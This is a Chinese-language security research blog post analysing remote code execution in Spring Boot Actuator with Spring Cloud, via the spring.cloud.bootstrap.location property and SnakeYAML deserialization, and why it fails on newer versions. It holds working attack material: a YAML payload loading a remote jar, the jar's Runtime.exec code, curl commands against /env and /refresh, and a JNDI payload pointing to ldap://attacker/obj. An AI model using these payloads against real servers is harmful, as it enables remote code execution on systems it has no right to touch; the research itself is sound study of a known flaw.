热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ExploitSpringBootActuator之SpringCloudEnv学习笔记

 作者:b1ngz@小米安全0x01. TL;DR今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.ver

 

作者:b1ngz@小米安全

0x01. TL;DR

今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators,文中介绍了多种利用思路和方式,接着作者在五月份的时候更新了文章,增加了在使用 Spring Cloud 相关组件时,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的方法,因为网上没有找到该方法的分析文章,自己 debug 并记录了一下过程,主要内容包括


  • 通过修改环境变量实现 RCE 的原理和过程分析

  • SnakeYAML 反序列化介绍和利用

  • 高版本 Spring Boot Actuator 利用测试和失败原因分析

  • 自己的一些思考

本文中涉及到的代码和漏洞环境参考 https://github.com/b1ngz/spring-boot-actuator-cloud-vul

 

0x02. RCE 分析

首先简单总结一下利用过程


  1. 利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://127.0.0.1:63712/yaml-payload.yml

  2. 请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子

@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL ["http://127.0.0.1:63712/yaml-payload.jar"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}

SnakeYAML 支持 !! + 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...] 的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL 类的实例

再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]

SnakeYAML 处理上述内容的过程可以等价于以下 java 代码

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar 地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory 接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码

大致过程明白了,我们来 debug 一下

作者给出的 yaml-payload.jar 代码见 https://github.com/artsploit/yaml-payload,关键代码为 AwesomeScriptEngineFactory.java 类,构造函数中使用 Runtime 来执行系统命令

package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}

我们在 Runtime.exec() 方法下断点,调用栈如下

方法调用顺序

javax.script.ScriptEngineManager
javax.script.ScriptEngineManager.init()
javax.script.ScriptEngineManager.initEngines()
java.util.ServiceLoader.LazyIterator.nextService()
artsploit.AwesomeScriptEngineFactory
Runtime.getRuntime().exec()

ScriptEngineManager 类的 initEngines 方法中使用了 Java SPI 机制来动态加载接口 ScriptEngineFactory 的实现类

这也是为什么 jar 包中 AwesomeScriptEngineFactory 类需要实现 ScriptEngineFactory 接口、并且 META-INF/services 目录下需要有一个文件名为 javax.script.ScriptEngineFactory,值为实现类完整包名的原因,即需要符合 Java SPI 实现规范

ServiceLoader 加载实现类的过程中,会调用无参数构造方法来创建实例,触发命令执行

对应代码在 ServiceLoader.LazyIterator 类的 nextService()

分析完 YAML 反序列化后,我们来看一下在 Spring Boot Actuator 中时的执行流程,漏洞环境和代码见 master 分支

以 debug 模式运行漏洞环境,同样在 Runtime.exec() 方法下断点

首先修改 spring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"

访问 http://127.0.0.1:61234/env,可以看到在 manager 下多了我们设置的值

然后请求 /refresh 接口触发

curl -XPOST http://127.0.0.1:61234/refresh

调用栈比较长,我们来看几个关键的地方,即处理 /refresh 接口请求的类

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

接着会到 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件

根据右侧代码,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

最终由 YamlProcessor.process() 方法中调用 Yaml.loadAll() 解析 yml 文件内容 ,之后的流程就和前面 SnakeYAML 反序列化过程类似,最终触发命令执行

 

0x03. 高版本测试

作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本,而在实际的测试过程中,遇到很多情况是 Spring Boot 2.x 版本。 在 2.x 版本中,actuator 默认的 endpoint 前缀是 /actuator,并且修改环境变量的 env 接口的 post body 也变成了 json 格式,步骤为

修改环境变量

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'

访问 http://127.0.0.1:61234/actuator/env,可以看到 propertySources 下多了刚才设置的值

接着 refresh 触发

curl -XPOST http://127.0.0.1:61234/actuator/refresh

执行完后,你会发现计算器并没有弹出,此时,黑人问号???只能再次 debug 找下原因

经过一番研究,发现是因为 spring.cloud.bootstrap.location 属性的值没有生效的缘故

来回忆一下之前提到的第二个关键点

BootstrapApplicationListener.bootstrapServiceContext() ,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

可以看到,configLocation 的值为空,即无法从 environment 解析到 ${spring.cloud.bootstrap.location} 的值

通过对调用方法和变量的分析,发现是因为 environment 变量中的 propertySourceList 属性发生了变化

先来看一下 1.x 版本的,可以看到是包含名为 manager 的 PropertySource

再来看一下 2.x 版本的,会发现没有了

而 PropertySources 的加载代码在 org.springframework.cloud.context.refresh.ContextRefreshercopyEnvironment() 方法中

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)

相同的,我们先来看一下 1.x 的逻辑

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment envirOnment= new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 清空
for (PropertySource source : capturedPropertySources) {
capturedPropertySources.remove(source.getName());
}
// 见下图
for (PropertySource source : input.getPropertySources()) {
capturedPropertySources.addLast(source);
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map map = new HashMap();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}

input.getPropertySources() 的值

以下是 2.x 的逻辑

private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
// order matters, if cli args aren't first, things get messy
// commandLineArgs
CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
"defaultProperties" };
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment envirOnment= new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 以下代码发生了变化
// Only copy the default property source(s) and the profiles over from the main
// environment (everything else should be pristine, just like it was on startup).
for (String name : DEFAULT_PROPERTY_SOURCES) {
if (input.getPropertySources().contains(name)) {
// 替换
if (capturedPropertySources.contains(name)) {
capturedPropertySources.replace(name,
input.getPropertySources().get(name));
}
else { // 添加
capturedPropertySources.addLast(input.getPropertySources().get(name));
}
}
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map map = new HashMap();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}

根据代码可以知道,只有 name 在 DEFAULT_PROPERTY_SOURCES 中的 PropertySource 才会被处理,其值为 String 数组,仅包含


  • commandLineArgs

  • defaultProperties

而我们添加的是属性值是在 name 为 managerPropertySource ,因此不会被添加到 environment 的 propertySources (capturedPropertySources) 中,最终导致无法 resolve

到此,可以确定通过修改 spring.cloud.bootstrap.location 属性实现 RCE 的方法在高版本下无法成功

为了找到可利用的版本范围,看了下 git 的提交记录,发现该修改是在 spring-cloud-commons 1.3.0.RELEASE 合并的,因此只有依赖小于 1.3.0.RELEASE 才受影响

并且 Spring Cloud 相关 jar 包的依赖版本取决于 spring-cloud-dependencies 的版本,通过 pom.xml 可以知道, spring-cloud-dependencies 的 Dalston.RELEASE 版本依赖的还是 1.2.0 的 spring-cloud-commons ,而之后的版本则依赖 >= 1.3.0,根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明

我们可以知道


  • Spring Boot 2.x 无法利用成功

  • Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功

  • Spring Boot <= 1.4 可利用成功

 

0x04. 思考



How to find?

作者是如何找到这个利用方式的?这个一直是看完这种大佬文章后第一个想知道答案的问题,也是最难的问题,这里尝试找到一些思路和线索

首先,在不使用 Spring Cloud 组件时,Spring Boot Actuator 的 /env endpoint 默认情况下只能读取环境变量的值,因此第一问题就是,如何得知有可以修改环境变量的功能?

这里就需要对 Spring 生态,如 Spring Boot, Spring Cloud 等,有一定的了解和使用经验,否则会无从下手。通过搜索 Spring Cloud 的文档,找到了相关说明 https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints



  • POST to /env to update the Environment and rebind @ConfigurationProperties and log levels


  • /refresh for re-loading the boot strap context and refreshing the @RefreshScope beans


从文档中,我们也知道了请求 /refresh 可以触发 bootstrap context reload,并加载修改后的环境变量

那么接下来的问题就是找到哪些环境变量是可以修改的,并且在 reload 之后会执行某些敏感的操作。根据文章中的说明,能修改的环境变量非常的多,需要一一尝试。

这里正向思考没有什么思路,转从逆向,尝试从 spring.cloud.bootstrap.location 入手,根据 Spring 文档中的说明 customizing-bootstrap-properties

The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

可以得知这个变量是用于指定 bootstrap 配置文件的位置,支持的文件格式包括 ymlproperties ,对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化的问题,如果这里配置文件的内容我们能够控制,就存在可以被利用的可能。

再下一步,就是结合 Spring Cloud 源码和动手 debug,确定 spring.cloud.bootstrap.location 环境变量的处理和配置文件的解析过程。根据前面的分析,我们知道代码中会下载指定的 yml 文件,并且使用 SnakeYAML 库进行解析,因此存在反序列化漏洞。

当然,实际的过程会比刚才描述的要复杂很多,需要投入很多的时间和精力阅读文档、调试代码。


SnakeYAML Payload

根据 https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf 中的介绍,除了 javax.script.ScriptEngineManager 类外,我们还可以使用 com.sun.rowset.JdbcRowSetImpl 类,通过 JNDI 注入来完成利用,payload 如下

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true

相比 ScriptEngineManager,JNDI 注入在高版本 JDK 利用会有一些限制,不过因为 Spring Boot 默认使用 Tomcat 容器,仍可以成功利用,详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections in Java


Changes In YamlPropertySourceLoader

在寻找高版本 Spring Boot Actuator 失败原因的过程中,也发现了即使 spring.cloud.bootstrap.location 能够成功 resolve,也仍然无法成功,原因在与 Spring boot 中解析 yml 的类 org.springframework.boot.env.YamlPropertySourceLoader 逻辑也发生了变化,测试代码如下

@Test
public void test() throws Exception {
new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
}

执行后会报如下错误

错误信息很明显,实例化 java.net.URL 时,构造方法的参数类型不正确,debug 后发现,高版本的 Spring Boot 将解析后的值存放在了 org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence 类中,而不是 java.lang.String,导致在反射创建实例时失败

 

0x05. 总结

文章简单分析了在同时使用 Spring Boot Actuator 和 Spring Cloud 时,利用修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的原理和步骤,虽然在高版本中无法利用成功,但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多,或许会有更多的利用方法,感兴趣的师父可以尝试研究一下。

最后,因个人水平有限,文章中可能会有描述不准确或者错误的地方,欢迎大家指出和交流

 

0x06. 参考



  • Exploiting Spring Boot Actuators

  • Java-Deserialization-Cheat-Sheet – SnakeYAML (YAML)

  • Java Unmarshaller Security

  • SnakeYAML Documentation

  • Spring Cloud

  • Spring Cloud Context: Application Context Services

  • Spring Boot Actuator + Spring Cloud Vul Env



推荐阅读
  • 云原生边缘计算之KubeEdge简介及功能特点
    本文介绍了云原生边缘计算中的KubeEdge系统,该系统是一个开源系统,用于将容器化应用程序编排功能扩展到Edge的主机。它基于Kubernetes构建,并为网络应用程序提供基础架构支持。同时,KubeEdge具有离线模式、基于Kubernetes的节点、群集、应用程序和设备管理、资源优化等特点。此外,KubeEdge还支持跨平台工作,在私有、公共和混合云中都可以运行。同时,KubeEdge还提供数据管理和数据分析管道引擎的支持。最后,本文还介绍了KubeEdge系统生成证书的方法。 ... [详细]
  • 学习笔记(34):第三阶段4.2.6:SpringCloud Config配置中心的应用与原理第三阶段4.2.6SpringCloud Config配置中心的应用与原理
    立即学习:https:edu.csdn.netcourseplay29983432482?utm_sourceblogtoedu配置中心得核心逻辑springcloudconfi ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • MateCloud 3.5.8 发布,基于 Spring Cloud Alibaba 的微服务框架
    基于SpringCloudAlibaba的微服务框架MateCloud3.5.8已经发布。此版本更新内容包括:功能升级针对MybatisPlus3.4.3新特性进行微调依赖升级升级至SpringCloud2020.0.3升级至Mybatis-Plus3.4.3详 ... [详细]
  • Sleuth+zipkin链路追踪SpringCloud微服务的解决方案
    在庞大的微服务群中,随着业务扩展,微服务个数增多,系统调用链路复杂化。Sleuth+zipkin是解决SpringCloud微服务定位和追踪的方案。通过TraceId将不同服务调用的日志串联起来,实现请求链路跟踪。通过Feign调用和Request传递TraceId,将整个调用链路的服务日志归组合并,提供定位和追踪的功能。 ... [详细]
  • Nextcloudsnap一键安装包: https:github.comextcloudextcloud-snap建议安装Ubuntu系统,因为官方一键安装包用的是Snap,Cen ... [详细]
  • 第三方登录之微信扫码登录
    文章目录1.申请微信接入:2.项目环境搭建:3.后端Controller接口:4.HTML页面代码:5.测试结果࿱ ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • EPICS Archiver Appliance存储waveform记录的尝试及资源需求分析
    本文介绍了EPICS Archiver Appliance存储waveform记录的尝试过程,并分析了其所需的资源容量。通过解决错误提示和调整内存大小,成功存储了波形数据。然后,讨论了储存环逐束团信号的意义,以及通过记录多圈的束团信号进行参数分析的可能性。波形数据的存储需求巨大,每天需要近250G,一年需要90T。然而,储存环逐束团信号具有重要意义,可以揭示出每个束团的纵向振荡频率和模式。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 关于我们EMQ是一家全球领先的开源物联网基础设施软件供应商,服务新产业周期的IoT&5G、边缘计算与云计算市场,交付全球领先的开源物联网消息服务器和流处理数据 ... [详细]
  • 闭包一直是Java社区中争论不断的话题,很多语言都支持闭包这个语言特性,闭包定义了一个依赖于外部环境的自由变量的函数,这个函数能够访问外部环境的变量。本文以JavaScript的一个闭包为例,介绍了闭包的定义和特性。 ... [详细]
  • 【云计算】Dockerfile、镜像、容器快速入门 ... [详细]
  • 节省成本配置网站HTTPS加密网址(6个免费SSL证书申请网站)
    节省成本配置网站HTTPS加密网址(6个免费SSL证书申请网站)在这篇文章中,老左整理目前看到的一些免费SSL证书,如果有需要降低成本配置网站HTTPS加密的,可以选择使用,需要的 ... [详细]
author-avatar
mobiledu2502875267
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有